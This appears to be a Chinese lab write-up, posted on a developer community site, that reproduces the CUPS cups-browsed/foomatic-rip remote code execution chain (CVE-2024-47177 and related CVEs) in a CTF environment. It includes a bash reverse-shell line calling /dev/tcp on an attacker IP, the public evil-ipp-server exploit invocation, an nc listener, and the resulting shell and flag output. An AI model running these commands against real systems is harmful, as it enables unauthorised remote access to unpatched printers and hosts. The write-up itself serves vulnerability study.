首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2024-47177,CUPS打印机任务RCE漏洞

CVE-2024-47177,CUPS打印机任务RCE漏洞

原创
作者头像
你叫夹克
修改2025-10-12 11:58:37
修改2025-10-12 11:58:37
100
举报

一、CVE-2024-47177,CUPS打印机任务RCE漏洞

!quote(https://discussions.apple.com/thread/255781685?sortBy=rank)

(一)漏洞条件

  • CVE-2024-47176 - cups-browsed <= 2.0.1 binds on UDP INADDR_ANY:631 trusting any packet from any source to trigger a Get-Printer-Attributes IPP request to an attacker-controlled URL
  • CVE-2024-47076 - libcupsfilters <= 2.1b1 cfGetPrinterAttributes5 does not validate or sanitize the IPP attributes returned from an IPP server, providing attacker-controlled data to the rest of the CUPS system
  • CVE-2024-47175 - libppd <= 2.1b1 ppdCreatePPDFromIPP2 does not validate or sanitize the IPP attributes when writing them to a temporary PPD file, allowing the injection of attacker-controlled data in the resulting PPD
  • CVE-2024-47177 - cups-filters <= 2.0.1 foomatic-rip allows arbitrary command execution via the FoomaticRIPCommandLine PPD parameter

(二)漏洞原理

该漏洞本质是 cups-browsed 服务的命令注入漏洞,触发流程可分为 3 个关键步骤:

  1. 参数可控:cups-browsed 服务在处理网络打印机的 IPP 响应时,会提取响应中的FoomaticRIP参数(用于指定打印机的渲染工具路径),且未对该参数进行任何过滤。
  2. 命令注入:攻击者可通过搭建恶意 IPP 服务器,向目标设备返回包含恶意系统命令FoomaticRIP参数(例如拼接反弹 Shell 命令)。
  3. 触发执行:当目标设备的 cups-browsed 服务尝试使用该恶意FoomaticRIP参数初始化打印机时,会直接通过系统 Shell 执行参数中的恶意命令,最终导致远程代码执行(RCE) 。

二、漏洞复现

(一)环境准备

靶场环境

!note 靶场环境# 虚拟机 10.132.1.111靶机10.22.194.121 参考文章:https://zhuanlan.zhihu.com/p/1920493092273886806

克隆Github的EXP

代码语言:shell
复制
git clone https://github.com/vulhub/evil-ipp-server

修改poc.py

代码语言:shell
复制
/bin/bash -i >& /dev/tcp/10.132.1.111/12346 0>&1

启动nc监听

代码语言:shell
复制
┌──(kali㉿kali)-[~/Tools/evil-ipp-server]
└─$ nc -lvnp 12346
Listening on 0.0.0.0 12346

(二)注册恶意打印机,创建Job触发RCE反弹Shell

新增一个恶意打印机

代码语言:shell
复制
┌──(kali㉿kali)-[~/Tools/evil-ipp-server]
└─$ python poc.py 10.132.1.111 10.22.194.121
malicious ipp server listening on  ('10.132.1.111', 12345)
sending udp packet to 10.22.194.121:631 ...       

访问靶机的631端口的打印机列表,可以看到之前通过运行poc.py注册的打印机:http://10.22.194.121:631/printers/

运行后,nc成功接收到反弹shell,成功拿到Flag。

代码语言:shell
复制
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
lp@cci-72b6c7cd-c747-418b-9b13-607cdac58fb1-d9d665b68-nhx8m:/$ cat flag.txt
cat flag.txt
NextCyber{6CjIgejv-1Sfjrx}

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、CVE-2024-47177,CUPS打印机任务RCE漏洞
    • (一)漏洞条件
    • (二)漏洞原理
  • 二、漏洞复现
    • (一)环境准备
    • (二)注册恶意打印机,创建Job触发RCE反弹Shell
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档